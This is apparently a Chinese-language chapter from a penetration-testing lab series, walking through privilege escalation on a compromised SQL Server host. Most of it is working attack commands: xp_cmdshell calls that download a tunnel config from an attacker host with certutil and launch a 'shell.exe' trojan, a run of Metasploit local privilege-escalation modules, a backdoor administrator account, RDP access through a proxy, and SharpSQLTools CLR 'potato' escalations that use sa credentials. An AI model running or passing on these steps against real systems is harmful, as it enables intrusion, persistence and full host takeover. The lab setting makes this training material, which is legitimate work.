跳转至

经典提权

内容简介

本小节主要讲解了当我们拿到 SQL Server 数据库主机的命令执行权限的时候,一些经典的提权操作。

MSF 提权

查看安装补丁

上文中我们已经拿到了SQL Server 的 meterpreter 权限的 shell,我们进入 shell 模式,使用:

systeminfo

来查看系统补丁数,发现只安装了很少的补丁:

image-20231204233653987

其实这个命令就等同于 meterpreter 下的这个命令:

meterpreter > run post/windows/gather/enum_patches

image-20231204234508276

查询提权 EXP

MSF 可以根据当前系统的补丁情况自动去遍历一些可以用于提权的模块并展示出来:

meterpreter > run post/multi/recon/local_exploit_suggester

可以看到检测了不少可以用于提权的模块:

image-20231205004615079

更新 frpc 配置

新的配置

因为使用我们提权会产生新的会话,所以还需要再使用 frpc 将内网的端口转发出来,所以需要再预留一个端口用于后面的会话提权使用,目前的 frpc 的配置如下:

serverAddr = "172.18.100.101"
serverPort = 7000

[[proxies]]
name = "port_forward"
type = "tcp"
localIP = "0.0.0.0"
localPort = 30001
remotePort = 30001

[[proxies]]
name = "shell_system"
type = "tcp"
localIP = "0.0.0.0"
localPort = 6666
remotePort = 6666

重新转发

结束之前的 frpc 进程,然后重新执行 frpc:

# 手动结束进程
exec master..xp_cmdshell 'taskkill /f /im frpc.exe';

# 重新下 frpc 配置
exec master..xp_cmdshell 'certutil -urlcache -split -f http://172.18.100.101:5500/frp/frpc.toml C:\Users\Public\frpc.toml && type C:\Users\Public\frpc.toml';

# 重新上线 frps
exec master..xp_cmdshell 'C:\Users\Public\frpc.exe -c C:\Users\Public\frpc.toml';

image-20231205000125320

重新上线

重新执行 shell.exe 木马:

exec master..xp_cmdshell 'C:\Users\Public\shell.exe';

然后 MSF 重新上线连接:

msf6 > use exploits/multi/handler
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 30001
msf6 > run

image-20231205000641382

EXP 尝试

  • cve_2019_1458_wizardopium( 成功)

这里和之前上线的监听差不多,只是要指定一下 session 会话,然后设置一下新的 bind tcp 端口为 6666 端口即可:

msf6 > use exploit/windows/local/cve_2019_1458_wizardopium
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run

image-20231206110001882

运气很好,直接成功了,嘻嘻!如果你们失败的话,也没关系,说明 MSF 推荐的还是有误差的,那么以此类推,我们结合搜索引擎来找一些更容易成功的 EXP。

  • cve_2020_0787_bits_arbitrary_file_move(失败)
msf6 > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run

image-20231205141116697

  • cve_2020_1054_drawiconex_lpe (失败)
msf6 > use exploit/windows/local/cve_2020_1054_drawiconex_lpe
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run

image-20231205010341511

  • exploit/windows/local/cve_2021_40449 (失败)
msf6 > use exploit/windows/local/cve_2021_40449
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run

image-20231205141528220

  • ms10_092_schelevator (失败)
msf6 > use exploit/windows/local/ms10_092_schelevator
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run

image-20231205141716994

  • ms16_032_secondary_logon_handle_privesc(失败)
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
  • ms16_075_reflection(失败)
msf6 > use exploit/windows/local/ms16_075_reflection
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run

image-20231205010041147

  • ms16_075_reflection_juicy(失败)
msf6 > use exploit/windows/local/ms16_075_reflection_juicy
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run

image-20231205005902608

  • exploit/windows/local/tokenmagic (成功)
msf6 > use exploit/windows/local/tokenmagic
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run

image-20231205005726105

虽然 MSF 的 EXP 建议有点问题,但是最终我们还是成功使用了 exploit/windows/local/tokenmagic 模块成功提权拿到 system 用户了。

登录 SQL Server 服务器

添加用户到管理员组

接下来我们添加 GG 用户,密码为 P@ssw0rd,且把他添加到管理员组,直接诶使用 system 权限的 MSF 使用原生的 shell 命令来逐个添加:

# 添加 GG 用户,密码为 P@ssw0rd
net user GG P@ssw0rd /add

# GG 添加到管理员组
net localgroup administrators GG /add

# 查看 GG 用户详情
net user GG

可以看到已经成功把 GG 添加到管理员组了:

image-20231205011049235

挂代理连接 RDP

因为通过之前的 OA 里面翻阅的敏感信息,我们知道 172.18.100.254:1080 隧道是直通 192.168.10.0/254 网段的,那么直接使用泛微 OA 的主机挂代理,下图表示只要是 RDP 远程桌面连接均走 172.18.100.254:1080 隧道代理:

image-20231205012531680

我们使用上面创建的 GG 用户来登录 SQL Server 数据库主机看看,成功接管 SQL Server 的主机权限:

image-20231205013146355

SQL Server 提权

从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。这就产生了 CLR 组件提权,完整的手工提权需要我们手动去导入 CLR 插件,工作量比较繁琐,我们这里可以使用开源的轮子来简易化提权操作。

工具运行

本文使用的是 Github 开源的 SharpSQLTools 来进行提权等一系列操作,官方的项目地址为:

https://github.com/uknowsec/SharpSQLTools

可上传下载文件,xp_cmdshell与sp_oacreate执行命令回显和clr加载程序集执行相应操作。

工具的用法很简单:

SharpSQLTools.exe target:port username password database module command

我们只需要填好 SQL Server 的 IP 和端口,然后填好用户名和密码,指定数据库后,手动传入模块和命令即可。

我们在泛微 OA 的服务器上来运行这个工具,

SharpSQLTools.exe 172.18.100.254 sa 1qaz2wsx#EDC master xp_cmdshell whoami

成功执行了 xp_cmdshell 命令:

image-20231205105229567

同理,我们还可以借助 sp_oacreate 模块 来执行命令:

SharpSQLTools.exe 172.18.100.254 sa 1qaz2wsx#EDC master sp_oacreate whoami

image-20231205105425532

clr 提权

clr 配置准备

首先执行 install_crl 模块来安装一下 clr 组件:

SharpSQLTools.exe 172.18.100.254 sa 1qaz2wsx#EDC master install_clr

image-20231205105709970

接着开启 clr 组件:

SharpSQLTools.exe 172.18.100.254 sa 1qaz2wsx#EDC master enable_clr

image-20231205105905109

这个项目的文档写的比较简洁明了,大家也可以尝试一下各种模块看看。

clr_badpotato 组件提权(失败)

SharpSQLTools.exe 172.18.100.254 sa 1qaz2wsx#EDC master clr_badpotato "whoami"

并没有提权成功,不要慌,我们还有 clr_efspotato 组件:

image-20231205110626876

clr_efspotato 组件提权(成功)

SharpSQLTools.exe 172.18.100.254 sa 1qaz2wsx#EDC master clr_efspotato "whoami"

利用 clr_efspotato 组件成功拿到 system 权限!

image-20231205110039548